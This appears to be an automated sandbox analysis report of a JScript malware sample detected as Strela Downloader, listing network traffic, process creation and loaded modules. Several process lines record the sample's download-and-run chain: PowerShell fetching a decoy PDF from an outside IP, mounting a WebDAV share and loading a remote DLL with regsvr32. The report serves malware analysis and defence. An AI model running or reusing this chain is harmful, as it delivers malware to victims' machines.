HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2111120291.0000020E1098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2169399223.000001E68A218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2169446767.000001E68A246000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2168938331.000001E68A246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000007.00000002.2169446767.000001E68A246000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2168938331.000001E68A246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Q
Source: svchost.exe, 00000009.00000002.3395779062.000001E357A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2166974639.000001E357860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2788, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 25917225161220417691.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ft4rsu1n.aoc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1680,i,4882643413840628945,11293059792243760680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1680,i,4882643413840628945,11293059792243760680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
